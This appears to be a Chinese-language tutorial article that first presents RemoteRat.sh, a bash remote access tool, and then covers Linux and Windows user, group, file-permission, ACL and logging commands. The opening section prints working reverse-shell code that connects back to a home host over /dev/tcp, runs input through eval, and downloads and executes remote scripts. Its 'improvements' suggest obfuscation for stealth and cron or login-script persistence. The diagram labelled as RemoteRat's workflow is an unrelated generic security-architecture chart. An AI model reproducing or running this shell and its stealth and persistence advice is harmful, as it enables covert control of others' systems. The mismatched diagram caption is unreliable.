返回文章列表

遠端存取安全與LinuxWindows許可權管理

本文探討遠端存取工具 RemoteRat.sh 的實作、安全隱患及改進建議,並深入解析 Linux 和 Windows 系統中使用者與群組管理、檔案許可權設定、ACL 操作以及日誌記錄的最佳實務與相關指令應用,涵蓋 chmod、chown、setfacl、icacls、eventcreate、logger

資安 系統管理

在現代網路環境中,遠端存取的需求日益增長,但伴隨而來的安全風險也不容忽視。本文將探討如何安全地進行遠端存取,並深入研究 Linux 和 Windows 系統的使用者、群組和檔案許可權管理,以確保系統的安全性。我們將分析一個簡單的遠端存取工具 RemoteRat.sh,瞭解其運作原理,並探討其潛在的安全風險和改進方向。同時,本文也將詳細介紹 Linux 和 Windows 系統中使用者和群組的建立、修改和刪除,以及如何使用 chmod、chown、setfacl、icacls 等指令設定檔案和目錄的許可權,包括 ACL 的操作。最後,我們將探討日誌記錄的重要性,並示範如何在不同系統中使用 eventcreate 和 logger 等指令進行日誌記錄。

使用 Bash 進行遠端存取的安全隱患與實務操作

在滲透測試的過程中,保持對目標系統的遠端存取是至關重要的一步。這使得測試人員能夠在需要時重新進入目標網路。一個好的遠端存取工具的關鍵在於保持隱蔽,因此在選擇方法時必須考慮到這一點。

遠端存取工具的實作:RemoteRat.sh

RemoteRat.sh 是一個簡單的遠端存取工具,主要功能是將輸入傳遞給殼層(shell),並在必要時下載並執行指令碼。以下是該指令碼的主要組成部分:

程式碼解析

#!/bin/bash -
# Cybersecurity Ops with bash
# RemoteRat.sh
# Description:
# Remote access tool to be run on the remote system;
# mostly hands any input to the shell
# but if indicated (with a !) fetch and run a script
# Usage: RemoteRat.sh hostname port1 [port2 [port3]]

function cleanup ()
{
    rm -f $TMPFL
}

function runScript ()
{
    # 通知遠端系統我們需要的指令碼名稱
    echo "$1" > /dev/tcp/${HOMEHOST}/${HOMEPORT2}
    # 暫停一下,等待回應
    sleep 1
    if [[ $1 == 'exit' ]] ; then exit ; fi
    # 將指令碼內容儲存到暫存檔案
    cat > $TMPFL </dev/tcp/${HOMEHOST}/${HOMEPORT3}
    # 使用 bash 執行該指令碼
    bash $TMPFL
}

# 
---
-
---
-
---
-
---
---
- 主程式 
---
-
---
-
---
-
---
-
---
# 可以在這裡加入一些錯誤檢查
HOMEHOST=$1
HOMEPORT=$2
HOMEPORT2=${3:-$((HOMEPORT+1))}
HOMEPORT3=${4:-$((HOMEPORT2+1))}
TMPFL="/tmp/$$.sh"
trap cleanup EXIT
# 連線回主機:
exec </dev/tcp/${HOMEHOST}/${HOMEPORT} 1>&0 2>&0

while true
do
    echo -n '$ '
    read -r
    if [[ ${REPLY:0:1} == '!' ]]
    then
        # 如果輸入以 '!' 開頭,則下載並執行指令碼
        FN=${REPLY:1}
        runScript $FN
    else
        # 否則,直接執行輸入的命令
        eval "$REPLY"
    fi
done

#### 內容解密:

  1. cleanup 函式:負責在指令碼離開時刪除暫存檔案 $TMPFL,確保不會留下敏感資訊。
  2. runScript 函式:用於下載並執行遠端指令碼。首先,它將指令碼名稱傳送到攻擊者的系統,然後暫停一秒鐘,等待對方準備好。接著,它將接收到的指令碼內容儲存到暫存檔案,並使用 bash 執行該檔案。
  3. 主程式邏輯:首先設定連線引數,包括主機名和多個埠號。然後,使用 exec 指令將標準輸入、輸出和錯誤輸出重定向到 TCP 連線。進入無限迴圈後,指令碼不斷讀取使用者輸入,並根據輸入內容決定是執行本地命令還是下載並執行遠端指令碼。

安全隱患與改進建議

  • 隱蔽性:該工具的隱蔽性取決於其執行的環境和組態。為了提高隱蔽性,可以考慮對指令碼進行混淆或加密處理。
  • 安全性:直接使用 eval 執行使用者輸入可能帶來安全風險,因為它可能導致任意命令執行。可以考慮使用更安全的替代方案,例如使用特定的命令白名單。
  • 永續性:目前的實作不會在系統重啟後自動啟動。可以透過將啟動命令新增到登入指令碼或 cron 任務中來實作永續性。

RemoteRat.sh 工作流程圖示

@startuml
skinparam backgroundColor #FEFEFE
skinparam componentStyle rectangle

title 遠端存取安全與LinuxWindows許可權管理

package "安全架構" {
    package "網路安全" {
        component [防火牆] as firewall
        component [WAF] as waf
        component [DDoS 防護] as ddos
    }

    package "身份認證" {
        component [OAuth 2.0] as oauth
        component [JWT Token] as jwt
        component [MFA] as mfa
    }

    package "資料安全" {
        component [加密傳輸 TLS] as tls
        component [資料加密] as encrypt
        component [金鑰管理] as kms
    }

    package "監控審計" {
        component [日誌收集] as log
        component [威脅偵測] as threat
        component [合規審計] as audit
    }
}

firewall --> waf : 過濾流量
waf --> oauth : 驗證身份
oauth --> jwt : 簽發憑證
jwt --> tls : 加密傳輸
tls --> encrypt : 資料保護
log --> threat : 異常分析
threat --> audit : 報告生成

@enduml

此圖示說明瞭 RemoteRat.sh 的工作流程,包括建立連線、讀取使用者輸入、根據輸入型別執行相應操作等步驟。

隨著網路安全形勢的不斷演變,遠端存取工具需要不斷進化以滿足新的安全挑戰。未來,可以探索更多高階技術,如根據人工智慧的安全檢測和回應機制,以進一步提升遠端存取工具的能力和安全性。

使用者與群組管理及檔案許可權設定

在 Linux 和 Windows 系統中,使用者與群組的管理是系統安全管理的重要部分。正確地設定使用者與群組許可權,可以有效地控制系統資源的存取,確保系統的安全性。

Linux 中的使用者與群組管理

在 Linux 系統中,使用者與群組的管理主要透過以下指令進行:

  • useradd:用於新增使用者。例如,sudo useradd -m jsmith 會建立一個新使用者 jsmith 並為其建立家目錄。
  • passwd:用於設定使用者的密碼。例如,sudo passwd jsmith 會為使用者 jsmith 設定密碼。
  • groupadd:用於新增群組。例如,sudo groupadd accounting 會建立一個名為 accounting 的新群組。
  • usermod:用於修改使用者的設定,如將使用者加入特定群組。例如,sudo usermod -g accounting jsmith 將使用者 jsmith 的主要群組設為 accounting。

程式碼範例:

# 新增使用者 jsmith 並建立家目錄
sudo useradd -m jsmith

# 為使用者 jsmith 設定密碼
sudo passwd jsmith

# 新增 accounting 群組
sudo groupadd accounting

# 將 jsmith 加入 accounting 群組
sudo usermod -g accounting jsmith

內容解密:

  1. sudo useradd -m jsmith:使用 useradd 指令新增使用者 jsmith,-m 引數確保為該使用者建立家目錄。
  2. sudo passwd jsmith:使用 passwd 指令為 jsmith 設定密碼,系統會提示輸入新密碼。
  3. sudo groupadd accounting:使用 groupadd 指令建立一個名為 accounting 的新群組。
  4. sudo usermod -g accounting jsmith:使用 usermod 指令將 jsmith 的主要群組變更為 accounting。

Windows 中的使用者與群組管理

在 Windows 系統中,使用者與群組的管理主要透過 net 指令進行:

  • net user:用於新增或修改使用者。例如,net user jsmith /add 會建立一個新使用者 jsmith。
  • net localgroup:用於新增或修改本機群組。例如,net localgroup accounting /add 會建立一個名為 accounting 的新群組。

程式碼範例:

# 新增使用者 jsmith
net user jsmith /add

# 為 jsmith 設定密碼
net user jsmith somepasswd

# 新增 accounting 群組
net localgroup accounting /add

# 將 jsmith 加入 accounting 群組
net localgroup accounting jsmith /add

內容解密:

  1. net user jsmith /add:使用 net user 指令新增使用者 jsmith,/add 引數表示這是一個新增操作。
  2. net user jsmith somepasswd:為使用者 jsmith 設定密碼為 somepasswd。
  3. net localgroup accounting /add:使用 net localgroup 指令建立一個名為 accounting 的新群組。
  4. net localgroup accounting jsmith /add:將使用者 jsmith 加入 accounting 群組。

檔案許可權與存取控制列表(ACL)

無論是在 Linux 還是在 Windows 系統中,一旦建立了使用者和群組,就可以為他們分配許可權。這些許可權定義了使用者或群組在系統上可以執行的操作。

在 Linux 中,可以使用 chmod 修改檔案許可權,使用 setfacl 設定 ACL。

在 Windows 中,可以使用 icacls 設定 ACL。

程式碼範例(Linux):

# 修改檔案許可權
chmod 755 example.txt

# 設定 ACL
setfacl -m u:jsmith:rwx example.txt

程式碼範例(Windows):

# 設定 ACL
icacls example.txt /grant jsmith:F

內容解密:

  1. chmod 755 example.txt:將 example.txt 的許可權設為所有者可讀寫執行,群組和其他人可讀執行。
  2. setfacl -m u:jsmith:rwx example.txt:為使用者 jsmith 對 example.txt 設定讀寫執行的 ACL。
  3. icacls example.txt /grant jsmith:F:授予使用者 jsmith 對 example.txt 的完全控制許可權。

綜上所述,無論是在 Linux 還是在 Windows 系統中,正確地管理使用者與群組,以及設定適當的檔案許可權和 ACL,都是保障系統安全的重要措施。

檔案許可權管理與日誌記錄

在維護系統安全性的過程中,建立和管理使用者與群組是一項重要的工作。適當的檔案許可權管理能夠有效防止未授權的存取,確保系統的穩定運作。

Linux 檔案許可權

Linux 的基本檔案許可權可以分配給使用者和群組。主要的三種許可權分別是讀取(r)、寫入(w)和執行(x)。使用 chown 命令可以變更檔案的所有者和群組。例如,將 report.txt 的所有者變更為 jsmith

chown jsmith report.txt

report.txt 的群組所有者變更為 accounting

chown :accounting report.txt

使用 chmod 命令可以設定檔案的許可權。例如,給予使用者讀取、寫入和執行的許可權,群組所有者讀取和寫入的許可權,其他使用者讀取和執行的許可權:

chmod u=rwx,g=rw,o=rx report.txt

內容解密:

  • u=rwx:給予使用者(user)讀取、寫入和執行的許可權。
  • g=rw:給予群組(group)讀取和寫入的許可權。
  • o=rx:給予其他使用者(other)讀取和執行的許可權。

也可以使用八進位數字來設定許可權,例如:

chmod 765 report.txt

這裡的 765 代表不同的許可權組合,每個數字對應到二進位的表示法,分別對應讀取、寫入和執行的許可權。

存取控制列表(ACL)

Linux 的存取控制列表(ACL)允許對個別使用者或群組設定特定的許可權。使用 setfacl 命令可以新增或移除 ACL 條目。例如,給予使用者 djonesreport.txt 的讀取、寫入和執行許可權:

setfacl -m u:djones:rwx report.txt

內容解密:

  • -m 選項表示要修改或新增 ACL 條目。
  • u:djones:rwx 表示給予使用者 djones 讀取、寫入和執行的許可權。

使用 getfacl 命令可以檢視檔案的 ACL 設定:

$ getfacl report.txt
# file: report.txt
# owner: fsmith
# group: accounting
user::rwx
user:djones:rwx
group::rw-
mask::rwx
other:r-x

移除 ACL 條目可以使用 -x 選項:

setfacl -x u:djones report.txt

Windows 檔案許可權

在 Windows 環境中,可以使用 icacls 命令來檢視和操作檔案或目錄的許可權和 ACL。例如,檢視 report.txt 的目前許可權:

$ icacls report.txt
report.txt NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
Successfully processed 1 files; Failed processing 0 files

給予使用者 jsmithreport.txt 的讀取和寫入許可權:

$ icacls report.txt /grant jsmith:rw

再次使用 icacls 命令可以驗證許可權是否正確設定:

$ icacls report.txt
report.txt COMPUTER\jsmith:(R,W)
NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
Successfully processed 1 files; Failed processing 0 files

大量變更

結合其他命令,可以進行更進階的操作。例如,使用 find 命令查詢目前工作目錄中所有由 jsmith 使用者擁有的檔案:

find . -type f -user jsmith

將這些檔案的所有者變更為 mwilson

find . -type f -user jsmith -exec chown mwilson '{}' \;

查詢包含特定字詞(如 “secret”)的檔案,並將其許可權設定為只有所有者可以存取:

find . -type f -name '*secret*' -exec chmod 600 '{}' \;

日誌記錄

在撰寫指令碼時,記錄重要的事件至日誌系統是非常重要的。Windows 和 Linux 都提供了方便的機制來寫入日誌。

日誌記錄的最佳實踐

良好的日誌記錄應該具備以下特點:

  • 使用一致的命名法和語法。
  • 提供上下文訊息(包括誰、何時、何地)。
  • 明確具體(指出發生了什麼事)。

eventcreate 和 logger 命令

eventcreate

在 Windows 環境中,使用 eventcreate 命令可以寫入事件日誌。常見的選項包括:

  • /d:事件的詳細描述。
  • /id:事件 ID。
  • /l:要寫入的日誌名稱。
  • /so:事件來源。
  • /t:事件型別。

例如:

eventcreate /id 100 /l APPLICATION /so MyApp /t INFORMATION /d "This is a test event."

logger

在 Linux 環境中,可以使用 logger 命令來寫入系統日誌。例如:

logger "This is a test message."

工作坊

  1. 編寫一個 Linux 命令來建立使用者 mwilson,並設定密碼為 magic
  2. 編寫一個 Linux 命令來建立群組 marketing
  3. 編寫一個 Linux 命令來給予群組 marketing 對檔案 poster.jpg 的讀取和寫入許可權。
  4. 編寫一個 Windows 命令來建立使用者 frogers,並設定密碼為 neighborhood
  5. 編寫一個 Windows 命令來給予使用者 tjones 對檔案 lyrics.txt 的完整控制許可權。
  6. 編寫一個 bash 指令碼,可以根據執行的作業系統環境自動執行正確的使用者/群組/許可權命令。